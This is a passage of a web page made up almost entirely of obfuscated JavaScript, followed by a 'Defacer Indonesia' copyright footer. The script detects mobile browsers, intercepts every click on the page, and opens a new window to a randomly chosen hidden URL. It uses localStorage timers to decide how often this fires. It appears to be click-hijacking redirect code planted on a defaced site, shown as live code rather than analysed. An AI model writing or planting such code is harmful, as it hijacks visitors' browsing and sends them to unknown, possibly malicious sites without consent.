|nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());
Copyright ©2021 || Defacer Indonesia